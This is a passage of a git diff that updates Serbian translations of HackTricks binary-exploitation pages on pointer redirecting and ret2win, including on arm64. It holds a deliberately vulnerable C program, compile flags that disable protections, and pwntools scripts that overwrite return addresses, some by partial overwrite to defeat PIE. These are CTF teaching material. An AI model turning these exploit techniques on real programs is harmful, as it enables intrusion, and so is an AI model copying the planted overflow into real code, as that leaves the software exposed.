{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
-## Preplavljenosti hipa
+## Heap Overflows
-Preplavljenost ne mora uvek biti u steku, može biti i u **hipu** na primer:
+Overflow se ne mora uvek dešavati u steku, može se takođe desiti u **heap-u** na primer:
{% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md)
{% endcontent-ref %}
-## Vrste zaštita
+## Tipovi zaštita
-Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti, proverite ih u:
+Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, proverite ih u:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Podrška HackTricks
+
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/pointer-redirecting.md b/binary-exploitation/stack-overflow/pointer-redirecting.md
index 738644b79..8dc23d61a 100644
--- a/binary-exploitation/stack-overflow/pointer-redirecting.md
+++ b/binary-exploitation/stack-overflow/pointer-redirecting.md
@@ -1,36 +1,37 @@
# Preusmeravanje pokazivača
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-## Pokazivači na stringove
+## Pokazivači stringova
-Ako poziv funkcije koristi adresu stringa koji se nalazi na steku, moguće je zloupotrebiti prekoračenje bafera da bi se **prepisala ova adresa** i stavila **adresa drugog stringa** unutar binarnog fajla.
+Ako poziv funkcije koristi adresu stringa koji se nalazi na steku, moguće je zloupotrebiti prelivanje bafera da **prepišete ovu adresu** i stavite **adresu drugog stringa** unutar binarnog fajla.
-Na primer, ako poziv funkcije **`system`** koristi adresu stringa da izvrši komandu, napadač može staviti **adresu drugog stringa na stek**, **`export PATH=.:$PATH`** i kreirati u trenutnom direktorijumu **skriptu sa imenom prvog slova novog stringa** jer će je izvršiti binarni fajl.
+Na primer, ako poziv funkcije **`system`** treba da **koristi adresu stringa za izvršavanje komande**, napadač može postaviti **adresu drugog stringa na steku**, **`export PATH=.:$PATH`** i kreirati u trenutnom direktorijumu **skriptu sa imenom prvog slova novog stringa** jer će ovo biti izvršeno od strane binarnog fajla.
Možete pronaći **primer** ovoga na:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
-* 32-bit, promenite adresu stringa u steku tako da je ispisana pomoću `puts`
+* 32bit, promenite adresu na string sa zastavicama na steku tako da se odštampa pomoću `puts`
-## Pokazivači na funkcije
+## Pokazivači funkcija
-Isto kao i pokazivači na stringove, ali primenjeno na funkcije, ako **stek sadrži adresu funkcije** koja će biti pozvana, moguće je **promeniti je** (npr. pozvati **`system`**).
+Isto kao i pokazivač stringa, ali se primenjuje na funkcije, ako **stek sadrži adresu funkcije** koja će biti pozvana, moguće je **promeniti je** (npr. da pozove **`system`**).
-Primer možete pronaći na:
+Možete pronaći primer na:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
@@ -38,16 +39,17 @@ Primer možete pronaći na:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/README.md b/binary-exploitation/stack-overflow/ret2win/README.md
index 9d97343f5..eee238e3f 100644
--- a/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/binary-exploitation/stack-overflow/ret2win/README.md
@@ -1,26 +1,27 @@
# Ret2win
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Osnovne Informacije
+## Basic Information
-**Ret2win** izazovi su popularna kategorija u takmičenjima **Capture The Flag (CTF)**, posebno u zadacima koji uključuju **binarno eksploatisanje**. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, neizvršena funkcija unutar binarnog fajla, često nazvana nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavu ili poruku o uspehu. Izazov obično uključuje prepisivanje **adrese povratka** na steku kako bi se preusmerio tok izvršavanja ka željenoj funkciji. Evo detaljnijeg objašnjenja sa primerima:
+**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu da se izvrši određena, neinvokovana funkcija unutar binarnog fajla, često nazvana nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
-### Primer u C-u
+### C Example
-Razmotrimo jednostavan C program sa ranjivošću i `win` funkcijom koju nameravamo pozvati:
+Razmotrite jednostavan C program sa ranjivošću i `win` funkcijom koju nameravamo da pozovemo:
```c
#include
#include
@@ -43,15 +44,15 @@ Da biste kompajlirali ovaj program bez zaštite steka i sa **ASLR** onemogućeni
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-* `-m32`: Kompajliraj program kao 32-bitni binarni fajl (ovo je opcionalno ali često se koristi u CTF izazovima).
-* `-fno-stack-protector`: Onemogući zaštitu od preplavljivanja steka.
-* `-z execstack`: Dozvoli izvršavanje koda na steku.
-* `-no-pie`: Onemogući izvršavanje nezavisno od pozicije kako bi se osiguralo da adresa funkcije `win` ne promeni.
-* `-o vulnerable`: Nazovi izlazni fajl `vulnerable`.
+* `-m32`: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima).
+* `-fno-stack-protector`: Onemogućite zaštitu od prelivanja steka.
+* `-z execstack`: Dozvolite izvršavanje koda na steku.
+* `-no-pie`: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcije `win` ne menja.
+* `-o vulnerable`: Imenovati izlazni fajl `vulnerable`.
-### Python Eksploatacija korišćenjem Pwntools
+### Python Exploit koristeći Pwntools
-Za eksploataciju, koristićemo **pwntools**, moćan CTF okvir za pisanje eksploata. Skripta za eksploataciju će kreirati payload za preplavljivanje bafera i prepisati povratnu adresu sa adresom funkcije `win`.
+Za exploit, koristićemo **pwntools**, moćan CTF okvir za pisanje eksploitacija. Skripta za exploit će kreirati payload za prelivanje bafera i prepisivanje adrese povratka sa adresom funkcije `win`.
```python
from pwn import *
@@ -71,61 +72,62 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
-Da biste pronašli adresu funkcije `win`, možete koristiti **gdb**, **objdump**, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`-om, možete koristiti:
+Da biste pronašli adresu `win` funkcije, možete koristiti **gdb**, **objdump** ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`, mogli biste koristiti:
```sh
objdump -d vulnerable | grep win
```
-Ova komanda će vam prikazati sklop `win` funkcije, uključujući njenu početnu adresu.
+Ova komanda će vam prikazati asembler funkcije `win`, uključujući njenu početnu adresu.
-Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje adresu povratka na steku adresom `win`. Kada `vulnerable_function` završi, umesto vraćanja na `main` ili izlaska, prelazi na `win`, i poruka se ispisuje.
+Python skripta šalje pažljivo oblikovanu poruku koja, kada je obradi `vulnerable_function`, preplavi bafer i prepisuje adresu povratka na steku sa adresom `win`. Kada `vulnerable_function` vrati, umesto da se vrati na `main` ili izađe, skače na `win`, i poruka se ispisuje.
## Zaštite
-* **PIE** treba biti onemogućen da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebaće vam neko curenje informacija da biste saznali gde je smeštena win funkcija. U nekim slučajevima, kada funkcija koja uzrokuje preplavljivanje je `read` ili slična, možete izvršiti **Delimično prepisivanje** od 1 ili 2 bajta da biste promenili adresu povratka da bude win funkcija. Zbog toga kako ASLR funkcioniše, poslednje tri heksadecimalne cifre nisu nasumične, tako da postoji **1/16 šansa** (1 heksadecimalna cifra) da dobijete ispravnu adresu povratka.
-* **Stack Canaries** takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
+* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **treba da bude onemogućena** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka.
+* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena.
-## Ostali primeri i Reference
+## Ostali primeri & Reference
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
-* 32 bit, bez ASLR-a
+* 32bit, bez ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
-* 64 bita sa ASLR-om, sa curenjem bin adrese
+* 64 bita sa ASLR, sa leak-om adrese bin
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
-* 64 bita, bez ASLR-a
+* 64 bita, bez ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
-* 32 bita, bez ASLR-a, dvostruko malo preplavljivanje, prvo da preplavi stek i poveća veličinu drugog preplavljivanja
+* 32 bita, bez ASLR, dvostruko malo prelivanje, prvo da preplavi stek i poveća veličinu drugog prelivanja
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32 bita, relro, bez canary-a, nx, bez pie-a, formatiranje stringa za prepisivanje adrese `fflush` sa win funkcijom (ret2win)
+* 32 bita, relro, bez kanarinca, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
-* 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da bi se pozvala win funkcija
+* 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
-* 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da bi se pozvala win funkcija
+* 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
-* Program samo validira poslednji bajt broja da proveri veličinu unosa, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Zatim, unos stvara preplavljivanje bafera koje se eksploatiše sa ret2win.
+* Program samo validira poslednji bajt broja da proveri veličinu ulaza, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Tada, ulaz stvara prelivanje bafera koje se eksploatiše sa ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-* 64 bita, relro, bez canary-a, nx, pie. Delimično prepisivanje da bi se pozvala win funkcija (ret2win)
+* 64 bita, relro, bez kanarinca, nx, pie. Delimično prepisivanje da pozove funkciju win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-* arm64, PIE, daje PIE curenje win funkcije koja zapravo ima 2 funkcije pa ROP gedžet koji poziva 2 funkcije
+* arm64, PIE, daje PIE leak funkcija win je zapravo 2 funkcije tako da ROP gadget koji poziva 2 funkcije
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
-* ARM64, off-by-one da pozove win funkciju
+* ARM64, off-by-one da pozove funkciju win
-## Primer za ARM64
+## ARM64 Primer
{% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 5039098f3..3cdbafb9b 100644
--- a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -1,18 +1,19 @@
# Ret2win - arm64
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
Pronađite uvod u arm64 u:
@@ -39,17 +40,17 @@ vulnerable_function();
return 0;
}
```
-Kompajlirajte bez PIE-a i canary-ja:
+Kompajlirajte bez pie i kanarinca:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
-## Pronalaženje odstupanja
+## Pronalaženje ofseta
### Opcija obrasca
-Ovaj primer je kreiran korišćenjem [**GEF**](https://github.com/bata24/gef):
+Ovaj primer je napravljen koristeći [**GEF**](https://github.com/bata24/gef):
-Pokrenite gdb sa gef-om, kreirajte obrazac i koristite ga:
+Pokrenite gdb sa gef, kreirajte obrazac i koristite ga:
```bash
gdb -q ./ret2win
pattern create 200
@@ -57,17 +58,17 @@ run
```
-arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo koristiti to da bismo pronašli offset obrasca:
+arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pomeraj obrasca:
```bash
pattern search $x30
```
-**Pomeraj je 72 (9x48).**
+**Pomak je 72 (9x48).**
-### Opcija pomeraja steka
+### Opcija pomaka steka
-Počnite tako što ćete dobiti adresu steka gde je smešten registar pc:
+Počnite tako što ćete dobiti adresu steka gde je sačuvan pc registar:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@@ -76,7 +77,7 @@ info frame
```
-Sada postavite prekidnu tačku nakon `read()` i nastavite dok se ne izvrši `read()` i postavite obrazac poput 13371337:
+Sada postavite tačku prekida nakon `read()` i nastavite dok se `read()` ne izvrši i postavite obrazac kao što je 13371337:
```
b *vulnerable_function+28
c
@@ -91,17 +92,17 @@ Zatim: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
-## Bez PIE-a
+## Bez PIE
-### Redovno
+### Regularno
-Dobijte adresu funkcije **`win`**:
+Dobijte adresu **`win`** funkcije:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 :
```
-Eksploatacija:
+Eksploit:
```python
from pwn import *
@@ -125,7 +126,7 @@ p.close()
### Off-by-1
-Zapravo, ovo će biti više kao off-by-2 u sačuvanom PC-u na steku. Umesto da prepisujemo sve povratne adrese, prepisaćemo **samo poslednja 2 bajta** sa `0x06c4`.
+U stvari, ovo će više ličiti na off-by-2 u sačuvanom PC-u u steku. Umesto da prepisujemo celu adresu povratka, prepisujemo **samo poslednja 2 bajta** sa `0x06c4`.
```python
from pwn import *
@@ -147,7 +148,7 @@ p.close()
```
-Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), koji je stvaran off-by-**one** u izmišljenoj ranjivosti.
+Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), koji je pravi off-by-**one** u fiktivnoj ranjivosti.
## Sa PIE
@@ -157,7 +158,7 @@ Kompajlirajte binarni fajl **bez `-no-pie` argumenta**
### Off-by-2
-Bez curenja ne znamo tačnu adresu funkcije za pobedu, ali možemo znati ofset funkcije iz binarnog fajla i znajući da adresa povratka koju prepisujemo već pokazuje ka bliskoj adresi, moguće je procuriti ofset do funkcije za pobedu (**0x7d4**) u ovom slučaju i jednostavno koristiti taj ofset:
+Bez leak-a ne znamo tačnu adresu pobedničke funkcije, ali možemo znati offset funkcije od binarnog fajla i znajući da adresa povratka koju prepisujemo već pokazuje na blisku adresu, moguće je leak-ovati offset do win funkcije (**0x7d4**) u ovom slučaju i jednostavno koristiti taj offset:
```python
@@ -179,16 +180,17 @@ p.send(payload)
print(p.recvline())
p.close()
```
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini da podržite HackTricks:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
